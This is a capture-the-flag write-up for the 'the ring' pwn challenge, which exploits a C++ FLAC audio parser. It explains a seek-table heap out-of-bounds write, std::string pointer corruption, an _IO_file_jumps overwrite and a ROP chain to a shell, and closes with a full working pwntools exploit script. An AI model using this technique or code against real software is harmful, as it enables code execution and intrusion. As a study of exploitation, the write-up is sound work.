the ring - BlackHat MEA CTF 2024

Posted on Sep 2, 2024

I had a fun time playing BlackHat MEA CTF. this pwn challenge was particulary nice.

in “the ring” you were given a FLAC audio file parser, written in C++. you can provide such a custom audio file and get presented the output of the program. notice that there is a python wrapper handling the file and outputs readable text only.

now the general functionality of the program: the program checks the magic bytes first (#define FLAC_MAGIC 0x664c6143U) and then immedeately starts looking for the initial TYPE_STREAMINFO block, which may be followed by more blocks.

blocks in this case are chunks of data, that have a specific type and data associated to them. in the header file we can find the following block types:

enum FlacType {
  TYPE_STREAMINFO = 0,
  TYPE_PADDING,
  TYPE_APPLICATION,
  TYPE_SEEKTABLE,
  TYPE_VORBIS_COMMENT,
  TYPE_CUESHEET,
  TYPE_PICTURE,
};

each block is handeled differently and the same type can be present mulitple times. after looking for some bugs in the individual block functions, I found this:

void FlacFile::parseBlockSeekTable(uint32_t size) {
  if (size % 18) {
    _lastError = FLAC_INVALID_SEEKTABLE;
    return;
  }

  uint32_t tableCount = size / 18;
  _seekPoints.resize(tableCount);
  for (size_t i = 0; i < tableCount; i++) {
    _seekPoints[_seekPointsCount].number = getBig64();
    _seekPoints[_seekPointsCount].offset = getBig64();
    _seekPoints[_seekPointsCount].sampleCount = getBig16();
    _seekPointsCount++;
  }
}

the problem is the index variable _seekPointsCount due to it not being reset after the loop. we can put multiple blocks of type TYPE_SEEKTABLE with the same and constant size. now _seekPointsCount acts like a global counter will eventually become greater than size. this allows an out-of-bounds write on the heap.

as a target I chose a block of type TYPE_VORBIS_COMMENT, because it internal structure has std::strings as members, lying on the heap and getting reused too. now you could corrupt the pointer of a std::string object, that specifies where the data is stored.

0xf2e7630:      0x000000000f2e7640      0x0000000000000078      // [pointer]    [size_type]
0xf2e7640:      0x4141414141414141      0x4141414141414141

if you read data in that string again, you can write to your custom address. I used vendor and one string if commentList as targets. the binary was statically linked and there was no pie, so we had all th freedom we needed.

to get rip control, I chose _IO_file_jumps to overwrite, which was rw in the binary. overwriting the entry of fflush was quite useful, since the registers contained good values. many of them pointed to stderr, so that’s where I wrote to with the second std::string. after some fiddling around and using the gadget mov rsp, rcx ; pop rcx ; jmp rcx, I was able to pivot the stack to stderr, where my ropchain was lying.

so all that was left to do now is to rop. be careful that you don’t have stdin and that you can only print human readable characters. the easiest way to do this was to create an execve call:

execve("/bin/sh", ["/bin/sh", "-c", "cat", "/flag*"], NULL)

this was rather simple to do and sucessfully outputs the flag file:

[+] Starting local process '/usr/bin/python3': pid 252854
[*] Switching to interactive mode
: === FLAC Info ===
FLAG{*** REDACTED ***}

[*] Got EOF while reading in interactive
$

exploit code:

from pwn import *
import subprocess

TYPE_STREAMINFO = 0
TYPE_PADDING = 1
TYPE_APPLICATION = 2
TYPE_SEEKTABLE = 3
TYPE_VORBIS_COMMENT = 4
TYPE_CUESHEET = 5
TYPE_PICTURE = 6

def p24(x, endian='little'):
    return p32(x, endian=endian)[1:]

file_jumps = 0x5de100
stderr_ptr = 0x5deca0
stderr_stuff = 0x5e2560
gadget = 0x4a8c39 # mov rsp, rcx ; pop rcx ; jmp rcx

pop_rax = 0x42111a
pop_rdi = 0x40591d
pop_rsi = 0x4073a3
pop_rdx_rbx = 0x533dab
binsh = file_jumps
binsh_args = binsh + 0x18
syscall = 0x4db386
ret = 0x40101a

f = open("./payload", "wb+")

overflow = b""
overflow += p8(TYPE_SEEKTABLE, endian='big')
overflow += p24(0x12, endian='big') # len
overflow += p64(0x4242424242424242, endian='big')
overflow += p64(file_jumps, endian='big')
overflow += p16(0x4242, endian='big')

overflow1 = b""
overflow1 += p8(TYPE_SEEKTABLE, endian='big')
overflow1 += p24(0x12, endian='big') # len
overflow1 += p64(stderr_ptr, endian='big')
overflow1 += p64(0x100, endian='big')
overflow1 += p16(0x4343, endian='big')

payload = b"/bin/sh\x00-c\x00cat /flag*\x00AA" + p64(binsh) + p64(binsh+8) + p64(binsh+11) + p64(0x0) + b"A"*0x20 + p64(gadget)
payload = payload.ljust(0x78, b"\x41")

rop = b""
rop += p64(ret)
rop += p64(pop_rax)
rop += p64(0x3b)
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(pop_rsi)
rop += p64(binsh_args)
rop += p64(pop_rdx_rbx)
rop += p64(0x0)
rop += p64(0x0)
rop += p64(syscall)
rop += p64(pop_rax)
rop += p64(0x3c)
rop += p64(pop_rdi)
rop += p64(0x0)
rop += p64(syscall)

comment = b""
comment += p8(TYPE_VORBIS_COMMENT, endian='big')
comment += p24(0x1c+0x70+0xd8, endian='big') # len
comment += p32(0x78) # len
comment += payload # vendor
comment += p32(0x1) # count
comment += p32(0xe0) # len
comment += p64(ret) + rop + p64(stderr_stuff) + b"A"*0x48 + p64(file_jumps+0x58-0x60)

end = b""
end += p8(TYPE_CUESHEET | 128, endian='big')
end += p24(0, endian='big')

filedata = b""
filedata += p32(0x664c6143, endian='big')
filedata += p8(TYPE_STREAMINFO, endian='big')
filedata += p24(34, endian='big') # len
filedata += p16(0x1337, endian='big')
filedata += p16(0x1338, endian='big')
filedata += p24(3, endian='big')
filedata += p24(4, endian='big')
filedata += p32(5, endian='big')
filedata += p32(6, endian='big')
filedata += b"Z"*0x10

filedata += overflow

filedata += comment

filedata += overflow
filedata += overflow1*9

filedata += comment

filedata += end

f.write(filedata)
f.close()

context.terminal = ["tmux", "splitw", "-h"]

p = remote("18.203.110.195", 30624)
#p = process(["python3", "./run.py"])
#p = gdb.debug(["./parser", "./payload"])

p.recvuntil("proof of work:\n")
cmd = p.recvline().strip(b"\n").decode("ascii")
print(cmd)
sol = input("solution: ")
p.sendline(sol)

p.sendlineafter(b"Size", str(len(filedata)).encode("ascii"))
p.sendlineafter(b"File", filedata)
p.interactive()